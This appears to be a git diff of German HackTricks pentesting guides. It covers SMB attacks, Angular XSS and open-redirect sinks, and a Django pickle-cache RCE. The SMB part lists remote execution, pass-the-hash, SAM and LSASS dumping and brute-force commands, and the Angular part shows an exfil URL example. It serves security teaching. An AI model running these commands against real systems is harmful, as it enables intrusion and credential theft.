| `enable privileges = yes` | Berücksichtigt Privilegien, die einem bestimmten SID zugewiesen sind? |
|
||||
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
|
||||
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
|
||||
| `logon script = script.sh` | Welches Skript muss beim Login des Benutzers ausgeführt werden? |
|
||||
| `magic script = script.sh` | Welches Skript sollte ausgeführt werden, wenn das Skript geschlossen wird? |
|
||||
| `magic output = script.out` | Wo muss die Ausgabe des magischen Skripts gespeichert werden? |
|
||||
|
||||
Der Befehl `smbstatus` gibt Informationen über den **Server** und darüber, **wer verbunden ist**.
|
||||
|
||||
## Authenticate using Kerberos
|
||||
|
||||
Sie können sich mit **Kerberos** über die Tools **smbclient** und **rpcclient** **authentifizieren**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
```
|
||||
## **Befehle Ausführen**
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec kann Befehle **ausführen**, indem es eine der Optionen **mmcexec, smbexec, atexec, wmiexec** missbraucht, wobei **wmiexec** die **Standard**-Methode ist. Sie können angeben, welche Option Sie bevorzugen, mit dem Parameter `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||||
|
||||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Beide Optionen **erstellen einen neuen Dienst** (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Zielmaschine und nutzen ihn, um **etwas auszuführen** (**psexec** wird eine ausführbare Datei in den ADMIN$-Freigabe **hochladen** und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Argumente die Payload --**file-less technique-**- einfügen).\
|
||||
**Mehr Informationen** über [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren.
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||||
|
||||
Führen Sie stealthy eine Befehlszeile aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\
|
||||
In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstelle von **NTLM** authentifizieren.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Befehle über den Task Scheduler ausführen (unter Verwendung von _\pipe\atsvc_ über SMB).\
|
||||
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||||
```
|
||||
## Impacket-Referenz
|
||||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Bruteforce-Benutzerdaten**
|
||||
|
||||
**Dies wird nicht empfohlen, Sie könnten ein Konto sperren, wenn Sie die maximal erlaubte Anzahl an Versuchen überschreiten**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB-Relay-Angriff
|
||||
|
||||
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine** zu **relayen**. Wenn die Authentifizierung **sitzung erfolgreich ist**, werden Sie automatisch in eine **System** **Shell** geleitet.\
|
||||
[**Weitere Informationen zu diesem Angriff hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host zu authentifizieren, wenn eine Seite versucht, auf Inhalte über SMB zuzugreifen, zum Beispiel: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Dies geschieht mit den Funktionen:
|
||||
|
||||
- URLDownloadToFile
|
||||
- URLDownloadToCache
|
||||
- URLOpenStream
|
||||
- URLOpenBlockingStream
|
||||
|
||||
Die von einigen Browsern und Tools (wie Skype) verwendet werden.
|
||||
|
||||
.png>)
|
||||
|
||||
### SMBTrap mit MitMf
|
||||
|
||||
.png>)
|
||||
|
||||
## NTLM-Diebstahl
|
||||
|
||||
Ähnlich wie beim SMB-Trapping kann das Platzieren von bösartigen Dateien auf einem Zielsystem (zum Beispiel über SMB) einen SMB-Authentifizierungsversuch auslösen, wodurch der NetNTLMv2-Hash mit einem Tool wie Responder abgefangen werden kann. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden.
|
||||
|
||||
[Siehe: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for SMB
|
||||
Note: |
|
||||
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
|
||||
|
||||
#These are the commands I run in order every time I see an open SMB port
|
||||
|
||||
With No Creds
|
||||
nbtscan {IP}
|
||||
smbmap -H {IP}
|
||||
smbmap -H {IP} -u null -p null
|
||||
smbmap -H {IP} -u guest
|
||||
smbclient -N -L //{IP}
|
||||
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
||||
rpcclient {IP}
|
||||
rpcclient -U "" {IP}
|
||||
crackmapexec smb {IP}
|
||||
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
||||
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
||||
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
||||
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
||||
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
||||
getArch.py -target {IP}
|
||||
|
||||
With Creds
|
||||
smbmap -H {IP} -u {Username} -p {Password}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
||||
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
||||
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
||||
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
||||
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
||||
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum4Linux
|
||||
Description: General SMB Scan
|
||||
Command: enum4linux -a {IP}
|
||||
|
||||
Entry_3:
|
||||
Name: Nmap SMB Scan 1
|
||||
Description: SMB Vuln Scan With Nmap
|
||||
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
||||
|
||||
Entry_4:
|
||||
Name: Nmap Smb Scan 2
|
||||
Description: SMB Vuln Scan With Nmap (Less Specific)
|
||||
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
|
||||
|
||||
Entry_5:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
||||
|
||||
Entry_6:
|
||||
Name: SMB/SMB2 139/445 consolesless mfs enumeration
|
||||
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
||||
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,5 +1,7 @@
|
||||
# Angular
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Die Checkliste
|
||||
|
||||
Checkliste [von hier](https://lsgeurope.com/post/angular-security-checklist).
|
||||
@ -8,13 +10,13 @@ Checkliste [von hier](https://lsgeurope.com/post/angular-security-checklist).
|
||||
* [ ] Sourcemap für Skripte ist in der Projektkonfiguration deaktiviert
|
||||
* [ ] Untrusted Benutzerinput wird immer interpoliert oder bereinigt, bevor er in Vorlagen verwendet wird
|
||||
* [ ] Der Benutzer hat keine Kontrolle über serverseitige oder clientseitige Vorlagen
|
||||
* [ ] Untrusted Benutzerinput wird mit einem geeigneten Sicherheitskontext bereinigt, bevor er von der Anwendung vertraut wird
|
||||
* [ ] Untrusted Benutzerinput wird mit einem geeigneten Sicherheitskontext bereinigt, bevor er von der Anwendung als vertrauenswürdig angesehen wird
|
||||
* [ ] `BypassSecurity*`-Methoden werden nicht mit untrusted Eingaben verwendet
|
||||
* [ ] Untrusted Benutzerinput wird nicht an Angular-Klassen wie `ElementRef`, `Renderer2` und `Document` oder andere JQuery/DOM-Senken übergeben
|
||||
|
||||
## Was ist Angular
|
||||
|
||||
Angular ist ein **leistungsstarkes** und **Open-Source**-Frontend-Framework, das von **Google** gepflegt wird. Es verwendet **TypeScript**, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular häufige clientseitige Schwachstellen wie **XSS** und **offene Weiterleitungen**. Es kann auch auf der **Server-Seite** verwendet werden, was Sicherheitsüberlegungen aus **beiden Perspektiven** wichtig macht.
|
||||
Angular ist ein **leistungsstarkes** und **Open-Source**-Frontend-Framework, das von **Google** gepflegt wird. Es verwendet **TypeScript**, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular gängige clientseitige Schwachstellen wie **XSS** und **offene Weiterleitungen**. Es kann auch auf der **Server-Seite** verwendet werden, was Sicherheitsüberlegungen aus **beiden Perspektiven** wichtig macht.
|
||||
|
||||
## Framework-Architektur
|
||||
|
||||
@ -49,7 +51,7 @@ Für Daten oder Logik, die nicht mit einer bestimmten Ansicht verknüpft sind un
|
||||
|
||||
## Sourcemap-Konfiguration
|
||||
|
||||
Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen in `tsconfig.json` befolgt, und erstellt dann ein Projekt mit der Konfiguration in `angular.json`. Wenn wir die Datei `angular.json` betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei für Skripte aktiviert und ist standardmäßig nicht verborgen:
|
||||
Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen aus `tsconfig.json` befolgt und dann ein Projekt mit der Konfiguration aus `angular.json` erstellt. Wenn wir die Datei `angular.json` betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei für Skripte aktiviert und ist standardmäßig nicht verborgen:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,13 +60,13 @@ Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprünglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
|
||||
Im Allgemeinen werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprünglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
|
||||
|
||||
Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Abhängig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`.
|
||||
|
||||
## Datenbindung
|
||||
|
||||
Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu übertragen und von diesem zu empfangen. Daten können auf verschiedene Weise übergeben werden, z. B. über Ereignisse, Interpolation, Eigenschaften oder über den Mechanismus der bidirektionalen Bindung. Darüber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden.
|
||||
Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu übertragen und von diesem zu empfangen. Daten können auf verschiedene Weise übergeben werden, z. B. durch Ereignisse, Interpolation, Eigenschaften oder durch den Mechanismus der bidirektionalen Bindung. Darüber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden.
|
||||
|
||||
Wir können Binding nach Datenfluss klassifizieren:
|
||||
|
||||
@ -72,16 +74,16 @@ Wir können Binding nach Datenfluss klassifizieren:
|
||||
* Zielansicht zu Datenquelle (einschließlich _Ereignisse_); kann durch die Verwendung von `()` im Template angewendet werden;
|
||||
* Zwei-Wege; kann durch die Verwendung von `[()]` im Template angewendet werden.
|
||||
|
||||
Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden:
|
||||
Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quell-Direktive angewendet werden:
|
||||
|
||||
| TYP | ZIEL | BEISPIELE |
|
||||
| -------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | \<button type="button" (click)="onSave()">Speichern |
|
||||
| Zwei-Wege | Ereignis und Eigenschaft | \<input \[(ngModel)]="name"> |
|
||||
| Attribut | Attribut (die Ausnahme) | \<button type="button" \[attr.aria-label]="help">hilfe |
|
||||
| Klasse | Klassen-Eigenschaft | \<div \[class.special]="isSpecial">Spezial |
|
||||
| Stil | Stil-Eigenschaft | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| -------- | ------------------------------------------------------- | ------------------------------------------------------------------- |
|
||||
| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | \<button type="button" (click)="onSave()">Speichern |
|
||||
| Zwei-Wege | Ereignis und Eigenschaft | \<input \[(ngModel)]="name"> |
|
||||
| Attribut | Attribut (die Ausnahme) | \<button type="button" \[attr.aria-label]="help">hilfe |
|
||||
| Klasse | Klassen-Eigenschaft | \<div \[class.special]="isSpecial">Sonderangebot |
|
||||
| Stil | Stil-Eigenschaft | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angular-Sicherheitsmodell
|
||||
|
||||
@ -110,18 +112,18 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Ergebnis: `<div><h1>test</h1></div>`
|
||||
|
||||
Es gibt 6 Typen von `SecurityContext` :
|
||||
Es gibt 6 Typen von `SecurityContext`:
|
||||
|
||||
* `None`;
|
||||
* `HTML` wird verwendet, wenn der Wert als HTML interpretiert wird;
|
||||
* `STYLE` wird verwendet, wenn CSS in die `style`-Eigenschaft gebunden wird;
|
||||
* `URL` wird für URL-Eigenschaften verwendet, wie `<a href>`;
|
||||
* `SCRIPT` wird für JavaScript-Code verwendet;
|
||||
* `RESOURCE_URL` als URL, die als Code geladen und ausgeführt wird, z. B. in `<script src>`.
|
||||
* `RESOURCE_URL` als eine URL, die geladen und als Code ausgeführt wird, zum Beispiel in `<script src>`.
|
||||
|
||||
## Schwachstellen
|
||||
|
||||
### Umgehung der Sicherheitsvertrauensmethoden
|
||||
### Umgehung von Sicherheitsvertrauensmethoden
|
||||
|
||||
Angular führt eine Liste von Methoden ein, um den standardmäßigen Sanitärungsprozess zu umgehen und anzuzeigen, dass ein Wert in einem bestimmten Kontext sicher verwendet werden kann, wie in den folgenden fünf Beispielen:
|
||||
|
||||
@ -187,11 +189,11 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
Anforderungs-URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular bietet eine `sanitize`-Methode, um Daten zu sanitieren, bevor sie in Ansichten angezeigt werden. Diese Methode verwendet den bereitgestellten Sicherheitskontext und reinigt die Eingabe entsprechend. Es ist jedoch entscheidend, den richtigen Sicherheitskontext für die spezifischen Daten und den Kontext zu verwenden. Beispielsweise bietet die Anwendung eines Sanitizers mit `SecurityContext.URL` auf HTML-Inhalt keinen Schutz gegen gefährliche HTML-Werte. In solchen Szenarien könnte der Missbrauch des Sicherheitskontexts zu XSS-Schwachstellen führen.
|
||||
Angular bietet eine `sanitize`-Methode, um Daten zu sanitärisieren, bevor sie in Ansichten angezeigt werden. Diese Methode verwendet den bereitgestellten Sicherheitskontext und reinigt die Eingabe entsprechend. Es ist jedoch entscheidend, den richtigen Sicherheitskontext für die spezifischen Daten und den Kontext zu verwenden. Beispielsweise bietet die Anwendung eines Sanitizers mit `SecurityContext.URL` auf HTML-Inhalt keinen Schutz gegen gefährliche HTML-Werte. In solchen Szenarien könnte der Missbrauch des Sicherheitskontexts zu XSS-Schwachstellen führen.
|
||||
|
||||
### HTML-Injection
|
||||
|
||||
Diese Schwachstelle tritt auf, wenn Benutzereingaben an eines der drei Eigenschaften gebunden werden: `innerHTML`, `outerHTML` oder `iframe` `srcdoc`. Während das Binden an diese Attribute HTML so interpretiert, wie es ist, wird die Eingabe mit `SecurityContext.HTML` sanitisiert. Daher ist HTML-Injection möglich, aber Cross-Site-Scripting (XSS) ist es nicht.
|
||||
Diese Schwachstelle tritt auf, wenn Benutzereingaben an eines der drei Eigenschaften gebunden werden: `innerHTML`, `outerHTML` oder `iframe` `srcdoc`. Während das Binden an diese Attribute HTML so interpretiert, wie es ist, wird die Eingabe mit `SecurityContext.HTML` sanitärisiert. Daher ist HTML-Injection möglich, aber Cross-Site-Scripting (XSS) ist es nicht.
|
||||
|
||||
Beispiel für die Verwendung von `innerHTML`:
|
||||
```jsx
|
||||
@ -214,7 +216,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
### Template-Injection
|
||||
|
||||
#### Client-Side Rendering (CSR)
|
||||
#### Client-Seitige Darstellung (CSR)
|
||||
|
||||
Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-Ausdrücke für Angular zur Auswertung in doppelte geschweifte Klammern (`{{}}`) einzuschließen. Auf diese Weise bietet das Framework zusätzliche Funktionalität. Zum Beispiel würde ein Template wie `{{1+1}}` als 2 angezeigt werden.
|
||||
|
||||
@ -231,7 +233,7 @@ Wie oben gezeigt, bezieht sich `constructor` auf den Geltungsbereich der Object
|
||||
|
||||
#### Server-Side Rendering (SSR)
|
||||
|
||||
Im Gegensatz zu CSR, das im DOM des Browsers erfolgt, ist Angular Universal für SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Schwachstelle in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
|
||||
Im Gegensatz zu CSR, das im DOM des Browsers stattfindet, ist Angular Universal für das SSR von Vorlagendateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Schwachstelle in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
|
||||
|
||||
Natürlich besteht auch die Möglichkeit, neue Template-Injection-Schwachstellen einzuführen, wenn Drittanbieter-Template-Engines wie Pug und Handlebars verwendet werden.
|
||||
|
||||
@ -315,7 +317,7 @@ this.elementRef.nativeElement.appendChild(s);
|
||||
}
|
||||
}
|
||||
```
|
||||
* Trotz der Tatsache, dass `Renderer2` eine API bereitstellt, die sicher verwendet werden kann, selbst wenn direkter Zugriff auf native Elemente nicht unterstützt wird, hat es dennoch einige Sicherheitsmängel. Mit `Renderer2` ist es möglich, Attribute eines HTML-Elements mit der Methode `setAttribute()` festzulegen, die keine XSS-Präventionsmechanismen hat.
|
||||
* Trotz der Tatsache, dass `Renderer2` eine API bereitstellt, die sicher verwendet werden kann, selbst wenn direkter Zugriff auf native Elemente nicht unterstützt wird, hat sie dennoch einige Sicherheitsanfälligkeiten. Mit `Renderer2` ist es möglich, Attribute eines HTML-Elements mit der Methode `setAttribute()` festzulegen, die keine XSS-Präventionsmechanismen hat.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -496,7 +498,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
Die Methode `window.open()` nimmt eine URL und lädt die Ressource, die sie identifiziert, in einen neuen oder bestehenden Tab oder ein neues Fenster. Die Kontrolle über diese Methode könnte ebenfalls eine Gelegenheit sein, eine XSS- oder offene Redirect-Anfälligkeit auszulösen.
|
||||
Die Methode `window.open()` nimmt eine URL und lädt die Ressource, die sie identifiziert, in einem neuen oder bestehenden Tab oder Fenster. Die Kontrolle über diese Methode könnte ebenfalls eine Gelegenheit sein, eine XSS- oder offene Redirect-Anfälligkeit auszulösen.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -558,7 +560,7 @@ console.log(this.location.go("http://google.com/about"));
|
||||
```
|
||||
|
||||
Ergebnis: `http://localhost:4200/http://google.com/about`
|
||||
* Die Angular `Router`-Klasse wird hauptsächlich für die Navigation innerhalb derselben Domain verwendet und führt nicht zu zusätzlichen Anfälligkeiten in der Anwendung:
|
||||
* Die Angular `Router`-Klasse wird hauptsächlich für die Navigation innerhalb derselben Domain verwendet und führt keine zusätzlichen Anfälligkeiten in die Anwendung ein:
|
||||
|
||||
```jsx
|
||||
//app-routing.module.ts
|
||||
@ -601,3 +603,7 @@ this.router.navigateByUrl('URL')
|
||||
* [Angular Document](https://angular.io/api/common/DOCUMENT)
|
||||
* [Angular Location](https://angular.io/api/common/Location)
|
||||
* [Angular Router](https://angular.io/api/router/Router)
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,8 +1,12 @@
|
||||
# Django
|
||||
|
||||
## Cache-Manipulation zu RCE
|
||||
Djangos standardmäßige Cache-Speichermethode sind [Python-Pickles](https://docs.python.org/3/library/pickle.html), was zu RCE führen kann, wenn [nicht vertrauenswürdige Eingaben unpickled werden](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren**.
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
Django-Cache wird an einem von vier Orten gespeichert: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [Speicher](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [Dateien](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) oder eine [Datenbank](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache, der in einem Redis-Server oder einer Datenbank gespeichert ist, sind die wahrscheinlichsten Angriffsvektoren (Redis-Injection und SQL-Injection), aber ein Angreifer könnte auch in der Lage sein, den dateibasierten Cache zu nutzen, um einen beliebigen Schreibvorgang in RCE umzuwandeln. Die Maintainer haben dies als kein Problem markiert. Es ist wichtig zu beachten, dass der Cache-Dateiordner, der SQL-Tabellenname und die Details des Redis-Servers je nach Implementierung variieren.
|
||||
## Cache-Manipulation zu RCE
|
||||
